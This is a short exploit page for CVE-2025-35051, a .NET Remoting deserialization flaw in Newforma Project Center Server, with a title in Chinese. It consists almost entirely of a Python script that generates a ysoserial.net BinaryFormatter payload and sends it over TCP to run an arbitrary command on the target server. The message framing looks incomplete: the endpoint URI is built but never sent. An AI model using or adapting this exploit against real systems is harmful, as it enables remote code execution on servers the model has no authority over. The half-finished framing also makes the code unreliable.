CVE-2025-35051 Newforma Project Center Server 反序列化远程代码执行漏洞

# CVE-2025-35051 - Newforma Project Center Server .NET Remoting Deserialization RCE # Exploit using ysoserial.net to generate payload and send via TCP import socket import struct import subprocess import sys TARGET_HOST = "192.168.1.100" # Target NPCS server TARGET_PORT = 9003 # NPCS .NET Remoting port ENDPOINT = "/ProjectCenter.rem" def generate_payload(command): """Generate .NET deserialization payload using ysoserial.net""" # Use WindowsIdentity or PSObject gadget chain # Example: ysoserial.exe -g WindowsIdentity -f BinaryFormatter -c "<command>" cmd = [ "ysoserial.exe", "-g", "WindowsIdentity", "-f", "BinaryFormatter", "-c", command ] result = subprocess.run(cmd, capture_output=True) return result.stdout def send_remoting_request(payload): """Send malicious payload to .NET Remoting endpoint""" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((TARGET_HOST, TARGET_PORT)) # Construct .NET Remoting request header # The endpoint URI is embedded in the request uri = ENDPOINT.encode('utf-8') # Build the .NET Remoting message envelope # Prepend the serialized object with proper framing request = b"\x00\x00\x00\x00" + payload sock.send(request) response = sock.recv(4096) sock.close() return response except Exception as e: print(f"[ERROR] Connection failed: {e}") return None def exploit(command="calc.exe"): """Main exploit function""" print(f"[*] Targeting {TARGET_HOST}:{TARGET_PORT}{ENDPOINT}") print(f"[*] Command to execute: {command}") payload = generate_payload(command) if payload: print(f"[+] Payload generated: {len(payload)} bytes") response = send_remoting_request(payload) if response: print("[+] Payload sent successfully") print(f"[+] Server response: {response[:100]}") else: print("[-] No response received") if __name__ == "__main__": cmd = sys.argv[1] if len(sys.argv) > 1 else "calc.exe" exploit(cmd)